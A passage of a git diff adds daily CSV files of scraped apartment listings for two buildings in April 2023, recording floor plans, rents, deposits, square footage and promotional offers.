to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230420,modera,A10,1 bd/1 ba,"Starting from $2,422/month",$300,672+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230420,modera,A12,1 bd/1 ba,"Starting from $2,536/month",$300,751+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230420,modera,A16D,1 bd/1 ba,"Starting from $2,980/month",$300,882,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230420,modera,B01,2 bd/2 ba,"Starting from $3,069/month",$300,961,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230420,modera,B02,2 bd/2 ba,"Starting from $2,778/month",$300,989+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230420,modera,B03,2 bd/2 ba,"Starting from $3,286/month",$300,"1,039+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230420,modera,B05,2 bd/2 ba,"Starting from $3,327/month",$300,"1,124+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230420,modera,B07,2 bd/2 ba,"Starting from $3,345/month",$300,"1,233",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230420,modera,S01L,Studio / 1 ba,"Starting from $2,517/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230421.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230421.csv new file mode 100644 index 00000000000..6a03fb358d4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230421.csv @@ -0,0 +1,50 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230421,talisman,A12 (1x1),1 Bed 1 Bath,"$1,787",$300,482 - 495 sq.ft.,None,N/A +20230421,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230421,talisman,Urban with L or Galley Kitchen,1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230421,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230421,talisman,A1 (1x1),1 Bed 1 Bath,"$2,062",$300,604 - 671 sq.ft.,None,N/A +20230421,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230421,talisman,Urban Plus with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230421,talisman,B5 (1x1),1 Bed 1 Bath,"$2,571",$300,674 - 775 sq.ft.,None,N/A +20230421,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230421,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230421,talisman,Traditional One Bedroom,1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230421,talisman,AL2,1 Bed 1 Bath,"$4,034",$300,785 - 852 sq.ft.,None,N/A +20230421,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230421,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230421,talisman,BL5 (1x1),1 Bed 1 Bath,"$4,074",$300,906 - 930 sq.ft.,None,N/A +20230421,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230421,talisman,BL2,2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230421,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230421,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230421,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230421,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230421,talisman,C3 (2x2),2 Bed 2 Bath,"$2,759",$300,1010 - 1103 sq.ft.,None,N/A +20230421,talisman,C1 (2x2),2 Bed 2 Bath,"$3,148",$300,1029 - 1294 sq.ft.,None,N/A +20230421,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230421,talisman,C2 (2x2),2 Bed 2 Bath,"$3,093",$300,1088 - 1243 sq.ft.,None,N/A +20230421,talisman,C8 (2x2),2 Bed 2 Bath,"$3,094",$300,1155 sq.ft.,None,N/A +20230421,talisman,C11 (2x2),2 Bed 2 Bath,"$3,119",$300,1161 sq.ft.,None,N/A +20230421,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230421,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230421,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230421,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230421,modera,S01,Studio / 1 ba,"Starting from $1,774/month",$300,477+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230421,modera,S01L,Studio / 1 ba,"Starting from $2,517/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230421,modera,S02,Studio / 1 ba,"Starting from $1,970/month",$300,498+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230421,modera,A03,1 bd/1 ba,"Starting from $1,906/month",$300,553+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230421,modera,A05,1 bd/1 ba,"Starting from $1,945/month",$300,596,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230421,modera,A06,1 bd/1 ba,"Starting from $2,085/month",$300,606,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230421,modera,A07,1 bd/1 ba,"Starting from $2,372/month",$300,634+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230421,modera,A08,1 bd/1 ba,"Starting from $2,137/month",$300,670,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230421,modera,A09,1 bd/1 ba,"Starting from $2,361/month",$300,640,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230421,modera,A10,1 bd/1 ba,"Starting from $2,422/month",$300,672+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230421,modera,A12,1 bd/1 ba,"Starting from $2,536/month",$300,751+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230421,modera,A16D,1 bd/1 ba,"Starting from $2,980/month",$300,882,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230421,modera,B01,2 bd/2 ba,"Starting from $2,908/month",$300,961,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230421,modera,B02,2 bd/2 ba,"Starting from $2,617/month",$300,989+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230421,modera,B03,2 bd/2 ba,"Starting from $3,125/month",$300,"1,039+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230421,modera,B05,2 bd/2 ba,"Starting from $3,166/month",$300,"1,124+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230421,modera,B07,2 bd/2 ba,"Starting from $3,184/month",$300,"1,233",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230421,modera,S01L,Studio / 1 ba,"Starting from $2,517/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230422.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230422.csv new file mode 100644 index 00000000000..d58a44647ef --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230422.csv @@ -0,0 +1,50 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230422,talisman,A12 (1x1),1 Bed 1 Bath,"$1,741",$300,482 - 495 sq.ft.,None,N/A +20230422,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230422,talisman,Urban with L or Galley Kitchen,1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230422,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230422,talisman,A1 (1x1),1 Bed 1 Bath,"$2,016",$300,604 - 671 sq.ft.,None,N/A +20230422,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230422,talisman,Urban Plus with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230422,talisman,B5 (1x1),1 Bed 1 Bath,"$2,571",$300,674 - 775 sq.ft.,None,N/A +20230422,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230422,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230422,talisman,Traditional One Bedroom,1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230422,talisman,AL2,1 Bed 1 Bath,"$4,034",$300,785 - 852 sq.ft.,None,N/A +20230422,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230422,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230422,talisman,BL5 (1x1),1 Bed 1 Bath,"$4,074",$300,906 - 930 sq.ft.,None,N/A +20230422,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230422,talisman,BL2,2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230422,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230422,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230422,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230422,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230422,talisman,C3 (2x2),2 Bed 2 Bath,"$2,759",$300,1010 - 1103 sq.ft.,None,N/A +20230422,talisman,C1 (2x2),2 Bed 2 Bath,"$3,148",$300,1029 - 1294 sq.ft.,None,N/A +20230422,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230422,talisman,C2 (2x2),2 Bed 2 Bath,"$3,093",$300,1088 - 1243 sq.ft.,None,N/A +20230422,talisman,C8 (2x2),2 Bed 2 Bath,"$3,094",$300,1155 sq.ft.,None,N/A +20230422,talisman,C11 (2x2),2 Bed 2 Bath,"$3,119",$300,1161 sq.ft.,None,N/A +20230422,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230422,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230422,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230422,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230422,modera,S01,Studio / 1 ba,"Starting from $1,774/month",$300,477+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230422,modera,S01L,Studio / 1 ba,"Starting from $2,517/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230422,modera,S02,Studio / 1 ba,"Starting from $1,970/month",$300,498+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230422,modera,A03,1 bd/1 ba,"Starting from $1,906/month",$300,553+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230422,modera,A05,1 bd/1 ba,"Starting from $1,945/month",$300,596,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230422,modera,A06,1 bd/1 ba,"Starting from $2,085/month",$300,606,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230422,modera,A07,1 bd/1 ba,"Starting from $2,372/month",$300,634+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230422,modera,A08,1 bd/1 ba,"Starting from $2,137/month",$300,670,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230422,modera,A09,1 bd/1 ba,"Starting from $2,353/month",$300,640,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230422,modera,A10,1 bd/1 ba,"Starting from $2,422/month",$300,672+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230422,modera,A12,1 bd/1 ba,"Starting from $2,536/month",$300,751+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230422,modera,A16D,1 bd/1 ba,"Starting from $2,980/month",$300,882,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230422,modera,B01,2 bd/2 ba,"Starting from $2,897/month",$300,961,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230422,modera,B02,2 bd/2 ba,"Starting from $2,617/month",$300,989+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230422,modera,B03,2 bd/2 ba,"Starting from $3,125/month",$300,"1,039+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230422,modera,B05,2 bd/2 ba,"Starting from $3,166/month",$300,"1,124+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230422,modera,B07,2 bd/2 ba,"Starting from $3,184/month",$300,"1,233",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230422,modera,S01L,Studio / 1 ba,"Starting from $2,517/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230423.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230423.csv new file mode 100644 index 00000000000..7f6504d3ca1 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230423.csv @@ -0,0 +1,50 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230423,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230423,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230423,talisman,Urban with L or Galley Kitchen,1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230423,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230423,talisman,A1 (1x1),1 Bed 1 Bath,"$2,039",$300,604 - 671 sq.ft.,None,N/A +20230423,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230423,talisman,Urban Plus with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230423,talisman,B5 (1x1),1 Bed 1 Bath,"$2,571",$300,674 - 775 sq.ft.,None,N/A +20230423,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230423,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230423,talisman,Traditional One Bedroom,1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230423,talisman,AL2,1 Bed 1 Bath,"$4,034",$300,785 - 852 sq.ft.,None,N/A +20230423,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230423,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230423,talisman,BL5 (1x1),1 Bed 1 Bath,"$4,074",$300,906 - 930 sq.ft.,None,N/A +20230423,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230423,talisman,BL2,2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230423,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230423,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230423,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230423,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230423,talisman,C3 (2x2),2 Bed 2 Bath,"$2,759",$300,1010 - 1103 sq.ft.,None,N/A +20230423,talisman,C1 (2x2),2 Bed 2 Bath,"$3,148",$300,1029 - 1294 sq.ft.,None,N/A +20230423,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230423,talisman,C2 (2x2),2 Bed 2 Bath,"$3,093",$300,1088 - 1243 sq.ft.,None,N/A +20230423,talisman,C8 (2x2),2 Bed 2 Bath,"$3,094",$300,1155 sq.ft.,None,N/A +20230423,talisman,C11 (2x2),2 Bed 2 Bath,"$3,119",$300,1161 sq.ft.,None,N/A +20230423,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230423,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230423,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230423,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230423,modera,S01,Studio / 1 ba,"Starting from $1,774/month",$300,477+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230423,modera,S01L,Studio / 1 ba,"Starting from $2,517/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230423,modera,S02,Studio / 1 ba,"Starting from $1,970/month",$300,498+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230423,modera,A03,1 bd/1 ba,"Starting from $1,906/month",$300,553+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230423,modera,A05,1 bd/1 ba,"$1,945/month",$300,596,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230423,modera,A06,1 bd/1 ba,"Starting from $2,085/month",$300,606,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230423,modera,A07,1 bd/1 ba,"Starting from $2,364/month",$300,634+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230423,modera,A08,1 bd/1 ba,"Starting from $2,137/month",$300,670,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230423,modera,A09,1 bd/1 ba,"Starting from $2,344/month",$300,640,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230423,modera,A10,1 bd/1 ba,"Starting from $2,414/month",$300,672+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230423,modera,A12,1 bd/1 ba,"Starting from $2,536/month",$300,751+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230423,modera,A16D,1 bd/1 ba,"Starting from $2,980/month",$300,882,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230423,modera,B01,2 bd/2 ba,"Starting from $2,886/month",$300,961,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230423,modera,B02,2 bd/2 ba,"Starting from $2,617/month",$300,989+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230423,modera,B03,2 bd/2 ba,"Starting from $3,125/month",$300,"1,039+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230423,modera,B05,2 bd/2 ba,"Starting from $3,166/month",$300,"1,124+",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230423,modera,B07,2 bd/2 ba,"Starting from $3,184/month",$300,"1,233",/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." +20230423,modera,S01L,Studio / 1 ba,"Starting from $2,517/month",$300,641+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230424.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230424.csv new file mode 100644 index 00000000000..3bca912877c --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230424.csv @@ -0,0 +1,50 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230424,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230424,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230424,talisman,Urban with L or Galley Kitchen,1 Bed 1 Bath,ContactUs,$300,578 sq.ft.,None,N/A +20230424,talisman,A10 (1x1),1 Bed 1 Bath,ContactUs,$300,578 - 665 sq.ft.,None,N/A +20230424,talisman,A1 (1x1),1 Bed 1 Bath,"$2,039",$300,604 - 671 sq.ft.,None,N/A +20230424,talisman,Urban with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,605 sq.ft.,None,N/A +20230424,talisman,Urban Plus with Kitchen Bar,1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230424,talisman,B5 (1x1),1 Bed 1 Bath,"$2,571",$300,674 - 775 sq.ft.,None,N/A +20230424,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230424,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230424,talisman,Traditional One Bedroom,1 Bed 1 Bath,ContactUs,$300,775 sq.ft.,None,N/A +20230424,talisman,AL2,1 Bed 1 Bath,"$4,081",$300,785 - 852 sq.ft.,None,N/A +20230424,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230424,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230424,talisman,BL5 (1x1),1 Bed 1 Bath,"$4,121",$300,906 - 930 sq.ft.,None,N/A +20230424,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230424,talisman,BL2,2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230424,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230424,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230424,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230424,talisman,1x1 Plus,2 Bed 2 Bath,ContactUs,$300,935 sq.ft.,None,N/A +20230424,talisman,C3 (2x2),2 Bed 2 Bath,"$2,759",$300,1010 - 1103 sq.ft.,None,N/A +20230424,talisman,C1 (2x2),2 Bed 2 Bath,"$3,148",$300,1029 - 1294 sq.ft.,None,N/A +20230424,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230424,talisman,C2 (2x2),2 Bed 2 Bath,"$3,093",$300,1088 - 1243 sq.ft.,None,N/A +20230424,talisman,C8 (2x2),2 Bed 2 Bath,"$3,094",$300,1155 sq.ft.,None,N/A +20230424,talisman,C11 (2x2),2 Bed 2 Bath,"$3,119",$300,1161 sq.ft.,None,N/A +20230424,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230424,talisman,Loft Two Bedroom,2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230424,talisman,2x2 Plus,3 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230424,talisman,Loft Three Bedroom,3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230424,modera,S01,Studio / 1 ba,"Starting from $1,774/month",$300,477+,/,"Up to 8 weeks for free!* Valid Through : Apr 14, 2023 - Apr 30, 2023 Live up to 8 weeks for free! Contact us for more details! 